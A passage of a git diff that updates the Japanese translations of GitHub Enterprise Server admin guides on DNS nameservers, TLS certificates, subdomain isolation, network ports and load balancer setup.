+intro: '{% data variables.product.prodname_ghe_server %} は、動的ホスト構成プロトコル (DHCP) のリースがネームサーバーを提供するときに、DNS 設定に対して DHCP を使用します。 ネームサーバがDHCPのリースで提供されない場合、あるいは特定のDNS設定を使う必要がある場合は、手動でネームサーバを指定できます。'
 redirect_from:
   - /enterprise/admin/guides/installation/about-dns-nameservers
   - /enterprise/admin/installation/configuring-dns-nameservers
@@ -16,25 +16,26 @@ topics:
   - Networking
 shortTitle: Configure DNS servers
 ---
-The nameservers you specify must resolve {% data variables.product.product_location %}'s hostname.
+
+指定するネームサーバは、{% data variables.product.product_location %}のホスト名を解決できなければなりません。
 
 {% data reusables.enterprise_installation.changing-hostname-not-supported %}
 
-## Configuring nameservers using the virtual machine console
+## 仮想マシンのコンソールを使ったネームサーバの設定
 
 {% data reusables.enterprise_installation.open-vm-console-start %}
-2. Configure nameservers for your instance.
+2. インスタンスに対してネームサーバーを設定します。
 {% data reusables.enterprise_installation.vm-console-done %}
 
-## Configuring nameservers using the administrative shell
+## 管理シェルを使ったネームサーバの設定
 
 {% data reusables.enterprise_installation.ssh-into-instance %}
-2. To edit your nameservers, enter:
+2. ネームサーバーを編集するには、次を入力します:
   ```shell
   $ sudo vim /etc/resolvconf/resolv.conf.d/head
   ```
-3. Append any `nameserver` entries, then save the file.
-4. After verifying your changes, save the file.
+3. `nameserver` エントリを追加し、続いてファイルを保存します。
+4. 変更を確認したら、ファイルを保存します。
 5. To add your new nameserver entries to {% data variables.product.product_location %}, run the following:
   ```shell
   $ sudo service resolvconf restart
diff --git a/translations/ja-JP/content/admin/configuration/configuring-network-settings/configuring-tls.md b/translations/ja-JP/content/admin/configuration/configuring-network-settings/configuring-tls.md
index e3a251095c..ae5dbb6d35 100644
--- a/translations/ja-JP/content/admin/configuration/configuring-network-settings/configuring-tls.md
+++ b/translations/ja-JP/content/admin/configuration/configuring-network-settings/configuring-tls.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring TLS
-intro: 'You can configure Transport Layer Security (TLS) on {% data variables.product.product_location %} so that you can use a certificate that is signed by a trusted certificate authority.'
+title: TLSの設定
+intro: '信頼できる認証機関によって署名された証明書を使用できるように、{% data variables.product.product_location %} で Transport Layer Security (TLS) を設定できます。'
 redirect_from:
   - /enterprise/admin/articles/ssl-configuration
   - /enterprise/admin/guides/installation/about-tls
@@ -17,55 +17,53 @@ topics:
   - Networking
   - Security
 ---
-## About Transport Layer Security
 
-TLS, which replaced SSL, is enabled and configured with a self-signed certificate when {% data variables.product.prodname_ghe_server %} is started for the first time. As self-signed certificates are not trusted by web browsers and Git clients, these clients will report certificate warnings until you disable TLS or upload a certificate signed by a trusted authority, such as Let's Encrypt.
+## Transport Layer Securityについて
 
-The {% data variables.product.prodname_ghe_server %} appliance will send HTTP Strict Transport Security headers when SSL is enabled. Disabling TLS will cause users to lose access to the appliance, because their browsers will not allow a protocol downgrade to HTTP. For more information, see "[HTTP Strict Transport Security (HSTS)](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security)" on Wikipedia.
+SSL に代わる TLS は、{% data variables.product.prodname_ghe_server %} の初回起動時に有効になり、自己署名証明書で設定されます。 自己署名証明書は Web ブラウザや Git クライアントから信頼されていないため、TLS を無効にするか、Let's Encrypt などの信頼できる機関によって署名された証明書をアップロードするまで、これらのクライアントは証明書の警告を報告します。
+
+SSL が有効な場合、{% data variables.product.prodname_ghe_server %} アプライアンスは HTTP Strict Transport Security ヘッダーを送信します。 TLSを無効化すると、ブラウザはHTTPへのプロトコルダウングレードを許さないので、ユーザはアプライアンスにアクセスできなくなります。 詳しい情報についてはWikipediaの"[HTTP Strict Transport Security](https://ja.wikipedia.org/wiki/HTTP_Strict_Transport_Security)"を参照してください。
 
 {% data reusables.enterprise_installation.terminating-tls %}
 
-To allow users to use FIDO U2F for two-factor authentication, you must enable TLS for your instance. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)."
+ユーザが2要素認証のFIDO U2Fを利用できるようにするには、インスタンスでTLSを有効化しなければなりません。 詳しい情報については「[2 要素認証の設定](/articles/configuring-two-factor-authentication)」を参照してください。
 
-## Prerequisites
+## 必要な環境
 
-To use TLS in production, you must have a certificate in an unencrypted PEM format signed by a trusted certificate authority.
+プロダクションでTLSを利用するには、暗号化されていないPEMフォーマットで、信頼済みの証明書認証局によって署名された証明書がなければなりません。
 
-Your certificate will also need Subject Alternative Names configured for the subdomains listed in "[Enabling subdomain isolation](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-subdomain-isolation#about-subdomain-isolation)" and will need to include the full certificate chain if it has been signed by an intermediate certificate authority. For more information, see "[Subject Alternative Name](http://en.wikipedia.org/wiki/SubjectAltName)" on Wikipedia.
+また、証明書には"[Subdomain Isolationの有効化](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-subdomain-isolation#about-subdomain-isolation)"のリストにあるサブドメインに設定されたSubject Alternative Namesが必要で、中間証明書認証局によって署名されたものであれば、完全な証明書チェーンを含んでいる必要があります。 詳しい情報についてはWikipediaの"[Subject Alternative Name](http://en.wikipedia.org/wiki/SubjectAltName)"を参照してください。
 
-You can generate a certificate signing request (CSR) for your instance using the `ghe-ssl-generate-csr` command. For more information, see "[Command-line utilities](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities/#ghe-ssl-generate-csr)."
+`ghe-ssl-generate-csr` コマンドを使用すれば、インスタンス用の証明書署名要求 (CSR) を生成できます。 詳細は「[コマンドラインユーティリティ](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities/#ghe-ssl-generate-csr)」を参照してください。
 
-## Uploading a custom TLS certificate
+## カスタムのTLS証明書のアップロード
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.privacy %}
 {% data reusables.enterprise_management_console.select-tls-only %}
-4. Under "TLS Protocol support", select the protocols you want to allow.
-  ![Radio buttons with options to choose TLS protocols](/assets/images/enterprise/management-console/tls-protocol-support.png)
-5. Under "Certificate", click **Choose File** to choose a TLS certificate or certificate chain (in PEM format) to install. This file will usually have a *.pem*, *.crt*, or *.cer* extension.
-  ![Button to find TLS certificate file](/assets/images/enterprise/management-console/install-tls-certificate.png)
-6. Under "Unencrypted key", click **Choose File** to choose an RSA key (in PEM format) to install. This file will usually have a *.key* extension.
-  ![Button to find TLS key file](/assets/images/enterprise/management-console/install-tls-key.png)
+4. [TLS Protocol support] で、許可するプロトコルを選択します。 ![TLS プロトコルを選択するオプションを備えたラジオボタン](/assets/images/enterprise/management-console/tls-protocol-support.png)
+5. "Certificate（証明書）"の下で**Choose File（ファイルの選択）**をクリックし、インストールしたいTLS証明書もしくは証明書チェーン（PEMフォーマット）を選択してください。 このファイルは通常、*.pem*、*.crt*、*.cer* といった拡張子を持ちます。 ![TLS 証明書ファイルを見つけるためのボタン](/assets/images/enterprise/management-console/install-tls-certificate.png)
+6. Under "Unencrypted key", click **Choose File** to choose an RSA key (in PEM format) to install. このファイルは通常*.key*という拡張子を持ちます。 ![TLS鍵ファイルを見つけるためのボタン](/assets/images/enterprise/management-console/install-tls-key.png)
 
   {% warning %}
 
-  **Warning**: Your key must be an RSA key and must not have a passphrase. For more information, see "[Removing the passphrase from your key file](/admin/guides/installation/troubleshooting-ssl-errors#removing-the-passphrase-from-your-key-file)".
+  **Warning**: Your key must be an RSA key and must not have a passphrase. 詳しい情報については"[キーファイルからのパスフレーズの除去](/admin/guides/installation/troubleshooting-ssl-errors#removing-the-passphrase-from-your-key-file)"を参照してください。
 
   {% endwarning %}
 {% data reusables.enterprise_management_console.save-settings %}
 
-## About Let's Encrypt support
+## Let's Encryptのサポートについて
 
-Let's Encrypt is a public certificate authority that issues free, automated TLS certificates that are trusted by browsers using the ACME protocol. You can automatically obtain and renew Let's Encrypt certificates on your appliance without any required manual maintenance.
+Let's Encryptは公開の証明書認証者で、ACMEプロトコルを使ってブラウザが信頼するTLS証明書を、無料で自動的に発行してくれます。 アプライアンスのためのLet's Encryptの証明書は、手動のメンテナンスを必要とせず自動的に取得及び更新できます。
 
 {% data reusables.enterprise_installation.lets-encrypt-prerequisites %}
 
-When you enable automation of TLS certificate management using Let's Encrypt, {% data variables.product.product_location %} will contact the Let's Encrypt servers to obtain a certificate. To renew a certificate, Let's Encrypt servers must validate control of the configured domain name with inbound HTTP requests.
+Let's Encryptを使ったTLS証明書管理の自動化を有効にすると、{% data variables.product.product_location %}はLet's Encryptのサーバに接続して証明書を取得します。 証明書を更新するには、Let's EncryptのサーバはインバウンドのHTTPリクエストで設定されたドメイン名の制御を検証しなければなりません。
 
-You can also use the `ghe-ssl-acme` command line utility on {% data variables.product.product_location %} to automatically generate a Let's Encrypt certificate. For more information, see "[Command-line utilities](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-ssl-acme)."
+また、{% data variables.product.product_location %}上でコマンドラインユーティリティの`ghe-ssl-acme`を使っても、自動的にLet's Encryptの証明書を生成できます。 詳細は「[コマンドラインユーティリティ](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-ssl-acme)」を参照してください。
 
-## Configuring TLS using Let's Encrypt
+## Let's Encryptを使ったTLSの設定
 
 {% data reusables.enterprise_installation.lets-encrypt-prerequisites %}
 
@@ -73,12 +71,9 @@ You can also use the `ghe-ssl-acme` command line utility on {% data variables.pr
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.privacy %}
 {% data reusables.enterprise_management_console.select-tls-only %}
-5. Select **Enable automation of TLS certificate management using Let's Encrypt**.
-  ![Checkbox to enable Let's Encrypt](/assets/images/enterprise/management-console/lets-encrypt-checkbox.png)
+5. **Enable automation of TLS certificate management using Let's Encrypt（Let's Encryptを使った自動的なTLS証明書管理の有効化）**を選択してください。 ![[Let's Encrypt] を有効化するチェックボックス](/assets/images/enterprise/management-console/lets-encrypt-checkbox.png)
 {% data reusables.enterprise_management_console.save-settings %}
 {% data reusables.enterprise_management_console.privacy %}
-7. Click **Request TLS certificate**.
-  ![Request TLS certificate button](/assets/images/enterprise/management-console/request-tls-button.png)
-8. Wait for the "Status" to change from "STARTED" to "DONE".
-   ![Let's Encrypt status](/assets/images/enterprise/management-console/lets-encrypt-status.png)
-9. Click **Save configuration**.
+7. **Request TLS certificate（TLS証明書のリクエスト）**をクリックしてください。 ![[Request TLS certificate] ボタン](/assets/images/enterprise/management-console/request-tls-button.png)
+8. Wait for the "Status" to change from "STARTED" to "DONE". ![Let's Encrypt status](/assets/images/enterprise/management-console/lets-encrypt-status.png)
+9. **Save configuration（設定の保存）**をクリックしてください。
diff --git a/translations/ja-JP/content/admin/configuration/configuring-network-settings/enabling-subdomain-isolation.md b/translations/ja-JP/content/admin/configuration/configuring-network-settings/enabling-subdomain-isolation.md
index 24d09e4f83..0c286afa66 100644
--- a/translations/ja-JP/content/admin/configuration/configuring-network-settings/enabling-subdomain-isolation.md
+++ b/translations/ja-JP/content/admin/configuration/configuring-network-settings/enabling-subdomain-isolation.md
@@ -1,6 +1,6 @@
 ---
-title: Enabling subdomain isolation
-intro: 'You can set up subdomain isolation to securely separate user-supplied content from other portions of your {% data variables.product.prodname_ghe_server %} appliance.'
+title: Subdomain Isolationの有効化
+intro: 'Subdomain Isolation をセットアップすれば、ユーザーが提供したコンテンツを {% data variables.product.prodname_ghe_server %} アプライアンスの他の部分から安全に分離できるようになります。'
 redirect_from:
   - /enterprise/admin/guides/installation/about-subdomain-isolation
   - /enterprise/admin/installation/enabling-subdomain-isolation
@@ -17,49 +17,49 @@ topics:
   - Security
 shortTitle: Enable subdomain isolation
 ---
-## About subdomain isolation
 
-Subdomain isolation mitigates cross-site scripting and other related vulnerabilities. For more information, see "[Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting)" on Wikipedia. We highly recommend that you enable subdomain isolation on {% data variables.product.product_location %}.
+## Subdomain Isolationについて
 
-When subdomain isolation is enabled, {% data variables.product.prodname_ghe_server %} replaces several paths with subdomains. After enabling subdomain isolation, attempts to access the previous paths for some user-supplied content, such as `http(s)://HOSTNAME/raw/`, may return `404` errors.
+Subdomain Isolationは、クロスサイトスクリプティングや関連するその他の脆弱性を緩和します。 詳しい情報については"Wikipediaの[クロスサイトスクリプティング](http://en.wikipedia.org/wiki/Cross-site_scripting)"を参照してください。 {% data variables.product.product_location %}ではSubdomain Isolationを有効化することを強くお勧めします。
 
-| Path without subdomain isolation  | Path with subdomain isolation   |
-| --- | --- |
-| `http(s)://HOSTNAME/assets/`      | `http(s)://assets.HOSTNAME/`      |
-| `http(s)://HOSTNAME/avatars/`     | `http(s)://avatars.HOSTNAME/`     |
-| `http(s)://HOSTNAME/codeload/`    | `http(s)://codeload.HOSTNAME/`    |
-| `http(s)://HOSTNAME/gist/`        | `http(s)://gist.HOSTNAME/`        |
-| `http(s)://HOSTNAME/media/`       | `http(s)://media.HOSTNAME/`       |
-| `http(s)://HOSTNAME/pages/`       | `http(s)://pages.HOSTNAME/`       |
-| `http(s)://HOSTNAME/raw/`         | `http(s)://raw.HOSTNAME/`         |
-| `http(s)://HOSTNAME/render/`      | `http(s)://render.HOSTNAME/`      |
-| `http(s)://HOSTNAME/reply/`       | `http(s)://reply.HOSTNAME/`       |
-| `http(s)://HOSTNAME/uploads/`     | `http(s)://uploads.HOSTNAME/`     | {% ifversion ghes %}
-| `https://HOSTNAME/_registry/docker/` | `http(s)://docker.HOSTNAME/`{% endif %}{% ifversion ghes %}
-| `https://HOSTNAME/_registry/npm/` | `https://npm.HOSTNAME/`
-| `https://HOSTNAME/_registry/rubygems/` | `https://rubygems.HOSTNAME/`
-| `https://HOSTNAME/_registry/maven/` | `https://maven.HOSTNAME/`
-| `https://HOSTNAME/_registry/nuget/` | `https://nuget.HOSTNAME/`{% endif %}
+Subdomain Isolation が有効な場合、{% data variables.product.prodname_ghe_server %} はいくつかのパスをサブドメインで置き換えます。 After enabling subdomain isolation, attempts to access the previous paths for some user-supplied content, such as `http(s)://HOSTNAME/raw/`, may return `404` errors.
 
-## Prerequisites
+| Subdomain Isolationなしのパス               | Subdomain Isolationされたパス                                    |
+| -------------------------------------- | ----------------------------------------------------------- |
+| `http(s)://HOSTNAME/assets/`           | `http(s)://assets.HOSTNAME/`                                |
+| `http(s)://HOSTNAME/avatars/`          | `http(s)://avatars.HOSTNAME/`                               |
+| `http(s)://HOSTNAME/codeload/`         | `http(s)://codeload.HOSTNAME/`                              |
+| `http(s)://HOSTNAME/gist/`             | `http(s)://gist.HOSTNAME/`                                  |
+| `http(s)://HOSTNAME/media/`            | `http(s)://media.HOSTNAME/`                                 |
+| `http(s)://HOSTNAME/pages/`            | `http(s)://pages.HOSTNAME/`                                 |
+| `http(s)://HOSTNAME/raw/`              | `http(s)://raw.HOSTNAME/`                                   |
+| `http(s)://HOSTNAME/render/`           | `http(s)://render.HOSTNAME/`                                |
+| `http(s)://HOSTNAME/reply/`            | `http(s)://reply.HOSTNAME/`                                 |
+| `http(s)://HOSTNAME/uploads/`          | `http(s)://uploads.HOSTNAME/`                               |{% ifversion ghes %}
+| `https://HOSTNAME/_registry/docker/`   | `http(s)://docker.HOSTNAME/`{% endif %}{% ifversion ghes %}
+| `https://HOSTNAME/_registry/npm/`      | `https://npm.HOSTNAME/`                                     |
+| `https://HOSTNAME/_registry/rubygems/` | `https://rubygems.HOSTNAME/`                                |
+| `https://HOSTNAME/_registry/maven/`    | `https://maven.HOSTNAME/`                                   |
+| `https://HOSTNAME/_registry/nuget/`    | `https://nuget.HOSTNAME/`{% endif %}
+
+## 必要な環境
 
 {% data reusables.enterprise_installation.disable-github-pages-warning %}
 
-Before you enable subdomain isolation, you must configure your network settings for your new domain.
+Subdomain Isolationを有効化する前に、新しいドメインに合わせてネットワークを設定しなければなりません。
 
-- Specify a valid domain name as your hostname, instead of an IP address. For more information, see "[Configuring a hostname](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-a-hostname)."
+- 有効なドメイン名を、IP アドレスではなくホスト名として指定します。 詳しい情報については、「[ホスト名を設定する](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-a-hostname)」を参照してください。
 
 {% data reusables.enterprise_installation.changing-hostname-not-supported %}
 
-- Set up a wildcard Domain Name System (DNS) record or individual DNS records for the subdomains listed above. We recommend creating an A record for `*.HOSTNAME` that points to your server's IP address so you don't have to create multiple records for each subdomain.
-- Get a wildcard Transport Layer Security (TLS) certificate for `*.HOSTNAME` with a Subject Alternative Name (SAN) for both `HOSTNAME` and the wildcard domain `*.HOSTNAME`. For example, if your hostname is `github.octoinc.com`, get a certificate with the Common Name value set to `*.github.octoinc.com` and a SAN value set to both `github.octoinc.com` and `*.github.octoinc.com`.
-- Enable TLS on your appliance. For more information, see "[Configuring TLS](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-tls/)."
+- 上記のサブドメインに対して、ワイルドカードのドメインネームシステム (DNS) レコードまたは個々の DNS レコードをセットアップします。 各サブドメイン用に複数のレコードを作成せずに済むよう、サーバのIPアドレスを指す`*.HOSTNAME`のAレコードを作成することをおすすめします。
+- `HOSTNAME` とワイルドカードのドメイン `*.HOSTNAME` の両方に対するサブジェクト代替名 (SAN) が記載された、`*.HOSTNAME` に対するワイルドカードの Transport Layer Security (TLS) 証明書を取得します。 たとえば、ホスト名が `github.octoinc.com` である場合は、Common Name の値が `*.github.octoinc.com` に設定され、SAN の値が `github.octoinc.com` と `*.github.octoinc.com` の両方に設定された証明書を取得します。
+- アプライアンスで TLS を有効にします。 詳しい情報については"[TLSの設定](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-tls/)"を参照してください
 
-## Enabling subdomain isolation
+## Subdomain Isolationの有効化
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.hostname-menu-item %}
-4. Select **Subdomain isolation (recommended)**.
-  ![Checkbox to enable subdomain isolation](/assets/images/enterprise/management-console/subdomain-isolation.png)
+4. **Subdomain isolation (recommended)（Subdomain Isolation（推奨））**を選択してください。 ![Subdomain Isolation を有効化するチェックボックス](/assets/images/enterprise/management-console/subdomain-isolation.png)
 {% data reusables.enterprise_management_console.save-settings %}
diff --git a/translations/ja-JP/content/admin/configuration/configuring-network-settings/index.md b/translations/ja-JP/content/admin/configuration/configuring-network-settings/index.md
index e3a5d06573..fd45425059 100644
--- a/translations/ja-JP/content/admin/configuration/configuring-network-settings/index.md
+++ b/translations/ja-JP/content/admin/configuration/configuring-network-settings/index.md
@@ -1,5 +1,5 @@
 ---
-title: Configuring network settings
+title: ネットワークを設定する
 redirect_from:
   - /enterprise/admin/guides/installation/dns-hostname-subdomain-isolation-and-ssl
   - /enterprise/admin/articles/about-dns-ssl-and-subdomain-settings
@@ -7,7 +7,7 @@ redirect_from:
   - /enterprise/admin/guides/installation/configuring-your-github-enterprise-network-settings
   - /enterprise/admin/installation/configuring-your-github-enterprise-server-network-settings
   - /enterprise/admin/configuration/configuring-network-settings
-intro: 'Configure {% data variables.product.prodname_ghe_server %} with the DNS nameservers and hostname required in your network. You can also configure a proxy server or firewall rules. You must allow access to certain ports for administrative and user purposes.'
+intro: 'ネットワークで必要な DNS ネームサーバーとホスト名を使用して {% data variables.product.prodname_ghe_server %} を設定します。 プロキシサーバあるいはファイアウォールルールを設定することもできます。 管理及びユーザのために特定のポートへのアクセスを許可しなければなりません。'
 versions:
   ghes: '*'
 topics:
diff --git a/translations/ja-JP/content/admin/configuration/configuring-network-settings/network-ports.md b/translations/ja-JP/content/admin/configuration/configuring-network-settings/network-ports.md
index 80cfbb860b..e815c6b10f 100644
--- a/translations/ja-JP/content/admin/configuration/configuring-network-settings/network-ports.md
+++ b/translations/ja-JP/content/admin/configuration/configuring-network-settings/network-ports.md
@@ -1,5 +1,5 @@
 ---
-title: Network ports
+title: ネットワークポート
 redirect_from:
   - /enterprise/admin/articles/configuring-firewalls
   - /enterprise/admin/articles/firewall
@@ -8,7 +8,7 @@ redirect_from:
   - /enterprise/admin/installation/network-ports
   - /enterprise/admin/configuration/network-ports
   - /admin/configuration/network-ports
-intro: 'Open network ports selectively based on the network services you need to expose for administrators, end users, and email support.'
+intro: オープンするネットワークポートは、管理者、エンドユーザ、メールサポートへ公開する必要があるネットワークサービスに応じて選択してください。
 versions:
   ghes: '*'
 type: reference
@@ -18,36 +18,37 @@ topics:
   - Networking
   - Security
 ---
-## Administrative ports
 
-Some administrative ports are required to configure {% data variables.product.product_location %} and run certain features. Administrative ports are not required for basic application use by end users.
+## 管理ポート
 
-| Port | Service | Description |
-|---|---|---|
-| 8443 | HTTPS | Secure web-based {% data variables.enterprise.management_console %}. Required for basic installation and configuration. |
-| 8080 | HTTP | Plain-text web-based {% data variables.enterprise.management_console %}. Not required unless SSL is disabled manually. |
-| 122 | SSH | Shell access for {% data variables.product.product_location %}. Required to be open to incoming connections between all nodes in a high availability configuration. The default SSH port (22) is dedicated to Git and SSH application network traffic. |
-| 1194/UDP | VPN | Secure replication network tunnel in high availability configuration. Required to be open for communication between all nodes in the configuration.|
-| 123/UDP| NTP | Required for time protocol operation. |
-| 161/UDP | SNMP | Required for network monitoring protocol operation. |
+{% data variables.product.product_location %}を設定し、一部の機能を実行するためにはいくつかの管理ポートが必要です。 管理ポートは、エンドユーザが基本的なアプリケーションを利用するためには必要ありません。
 
-## Application ports for end users
+| ポート      | サービス  | 説明                                                                                                                                                                                                                     |
+| -------- | ----- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| 8443     | HTTPS | 安全な Web ベースの {% data variables.enterprise.management_console %}。 基本的なインストールと設定に必要です。                                                                                                                                   |
+| 8080     | HTTP  | プレーンテキストの Web ベースの {% data variables.enterprise.management_console %}。 SSL を手動で無効にしない限り必要ありません。                                                                                                                        |
+| 122      | SSH   | {% data variables.product.product_location %} 用のシェルアクセス。 Required to be open to incoming connections between all nodes in a high availability configuration. デフォルトの SSHポート (22) は Git と SSH のアプリケーションネットワークトラフィック専用です。 |
+| 1194/UDP | VPN   | High Availability設定でのセキュアなレプリケーションネットワークトンネル。 Required to be open for communication between all nodes in the configuration.                                                                                            |
+| 123/UDP  | NTP   | timeプロトコルの処理に必要。                                                                                                                                                                                                       |
+| 161/UDP  | SNMP  | ネットワークモニタリングプロトコルの処理に必要。                                                                                                                                                                                               |
 
-Application ports provide web application and Git access for end users.
+## エンドユーザーのためのアプリケーションポート
 
-| Port | Service | Description |
-|---|---|---|
-| 443 | HTTPS | Access to the web application and Git over HTTPS. |
-| 80 | HTTP | Access to the web application. All requests are redirected to the HTTPS port when SSL is enabled. |
-| 22 | SSH | Access to Git over SSH. Supports clone, fetch, and push operations to public and private repositories. |
-| 9418 | Git | Git protocol port supports clone and fetch operations to public repositories with unencrypted network communication. {% data reusables.enterprise_installation.when-9418-necessary %} |
+アプリケーションのポートは、エンドユーザーにWebアプリケーションとGitへのアクセスを提供します。
+
+| ポート  | サービス  | 説明                                                                                                                                 |
+| ---- | ----- | ---------------------------------------------------------------------------------------------------------------------------------- |
+| 443  | HTTPS | WebアプリケーションとGit over HTTPSのアクセス。                                                                                                   |
+| 80   | HTTP  | Web アプリケーションへのアクセス。 SSL が有効な場合にすべての要求は HTTPS ポートにリダイレクトされます。                                                                       |
+| 22   | SSH   | Git over SSH へのアクセス。 パブリックとプライベートリポジトリへの clone、fetch、push 操作をサポートします。                                                              |
+| 9418 | Git   | Gitプロトコルのポート。暗号化されないネットワーク通信でのパブリックなリポジトリへのclone及びfetch操作をサポートする。 {% data reusables.enterprise_installation.when-9418-necessary %}
 
 {% data reusables.enterprise_installation.terminating-tls %}
 
-## Email ports
+## メールのポート
 
-Email ports must be accessible directly or via relay for inbound email support for end users.
+メールのポートは直接あるいはエンドユーザ用のインバウンドメールサポートのリレーを経由してアクセスできなければなりません。
 
-| Port | Service | Description |
-|---|---|---|
-| 25 | SMTP | Support for SMTP with encryption (STARTTLS). |
+| ポート | サービス | 説明                         |
+| --- | ---- | -------------------------- |
+| 25  | SMTP | 暗号化ありのSMTP（STARTTLS）のサポート。 |
diff --git a/translations/ja-JP/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md b/translations/ja-JP/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md
index 35573b2ad4..737545d52e 100644
--- a/translations/ja-JP/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md
+++ b/translations/ja-JP/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md
@@ -1,6 +1,6 @@
 ---
-title: Using GitHub Enterprise Server with a load balancer
-intro: 'Use a load balancer in front of a single {% data variables.product.prodname_ghe_server %} appliance or a pair of appliances in a High Availability configuration.'
+title: GitHub Enterprise Server でロードバランサを使用する
+intro: 'ロードバランサを、単一の {% data variables.product.prodname_ghe_server %} アプライアンス、あるいは High Availability 構成のアプライアンスのペアの前で使ってください。'
 redirect_from:
   - /enterprise/admin/guides/installation/using-github-enterprise-with-a-load-balancer
   - /enterprise/admin/installation/using-github-enterprise-server-with-a-load-balancer
@@ -23,9 +23,9 @@ shortTitle: Use a load balancer
 
 {% data reusables.enterprise_clustering.load_balancer_dns %}
 
-## Handling client connection information
+## クライアントの接続情報の処理
 
-Because client connections to {% data variables.product.prodname_ghe_server %} come from the load balancer, the client IP address can be lost.
+{% data variables.product.prodname_ghe_server %} へのクライアント接続はロードバランサから来ることになるため、クライアントの IP アドレスは失われることがあります。
 
 {% data reusables.enterprise_clustering.proxy_preference %}
 
@@ -33,37 +33,35 @@ Because client connections to {% data variables.product.prodname_ghe_server %} c
 
 {% data reusables.enterprise_installation.terminating-tls %}
 
-### Enabling PROXY protocol support on {% data variables.product.product_location %}
+### {% data variables.product.product_location %}でのPROXYプロトコルサポートの有効化
 
-We strongly recommend enabling PROXY protocol support for both your appliance and the load balancer. Use the instructions provided by your vendor to enable the PROXY protocol on your load balancer. For more information, see [the PROXY protocol documentation](http://www.haproxy.org/download/1.8/doc/proxy-protocol.txt).
+アプライアンスとロードバランサの両方でPROXYプロトコルサポートを有効化することを強くおすすめします。 ロードバランサでPROXYプロトコルを有効化する方法については、ベンダーが提供する指示に従ってください。 詳しい情報については[PROXY プロトコルのドキュメンテーション](http://www.haproxy.org/download/1.8/doc/proxy-protocol.txt)を参照してください。
 
 {% data reusables.enterprise_installation.proxy-incompatible-with-aws-nlbs %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.privacy %}
-3. Under **External load balancers**, select **Enable support for PROXY protocol**.
-![Checkbox to enable support for PROXY protocol](/assets/images/enterprise/management-console/enable-proxy.png)
+3. **External load balancers（外部ロードバランサ）**の下で**Enable support for PROXY protocol（PROXYプロトコルサポートの有効化）**を選択してください。 ![PROXY プロトコルを有効化するチェックボックス](/assets/images/enterprise/management-console/enable-proxy.png)
 {% data reusables.enterprise_management_console.save-settings %}
 
 {% data reusables.enterprise_clustering.proxy_protocol_ports %}
 
-### Enabling X-Forwarded-For support on {% data variables.product.product_location %}
+### {% data variables.product.product_location %}でのX-Forwarded-Forサポートの有効化
 
 {% data reusables.enterprise_clustering.x-forwarded-for %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.privacy %}
-3. Under **External load balancers**, select **Allow HTTP X-Forwarded-For header**.
-![Checkbox to allow the HTTP X-Forwarded-For header](/assets/images/enterprise/management-console/allow-xff.png)
+3. **External load balancers（外部ロードバランサ）**の下で**Allow HTTP X-Forwarded-For header（HTTP X-Forwarded-Forヘッダの許可）**を選択してください。 ![HTTP X-Forwarded-For ヘッダを許可するチェックボックス](/assets/images/enterprise/management-console/allow-xff.png)
 {% data reusables.enterprise_management_console.save-settings %}
 
 {% data reusables.enterprise_clustering.without_proxy_protocol_ports %}
 
-## Configuring health checks
+## 健全性チェックの設定
 
-Health checks allow a load balancer to stop sending traffic to a node that is not responding if a pre-configured check fails on that node. If the appliance is offline due to maintenance or unexpected failure, the load balancer can display a status page. In a High Availability (HA) configuration, a load balancer can be used as part of a failover strategy. However, automatic failover of HA pairs is not supported. You must manually promote the replica appliance before it will begin serving requests. For more information, see "[Configuring {% data variables.product.prodname_ghe_server %} for High Availability](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)."
+ロードバランサは健全性チェックによって、事前に設定されたチェックが失敗するようになったノードがあれば、反応しなくなったノードへのトラフィックの送信を止めます。 メンテナンスもしくは予想外の障害のためにアプライアンスがオフラインになっているなら、ロードバランサはステータスページを表示できます。 High Availability（HA）設定では、ロードバランサはフェイルオーバーの戦略の一部として利用できます。 ただし、HAペアの自動フェイルオーバーはサポートされていません。 レプリカインスタンスは、手動で昇格させるとリクエストに応えられるようになります。 詳細は「[High Availability 用に {% data variables.product.prodname_ghe_server %} を設定する](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)」を参照してください。
 
 {% data reusables.enterprise_clustering.health_checks %}
 {% data reusables.enterprise_site_admin_settings.maintenance-mode-status %}
diff --git a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md
index c0e8a764c7..6c54800697 100644
--- a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md
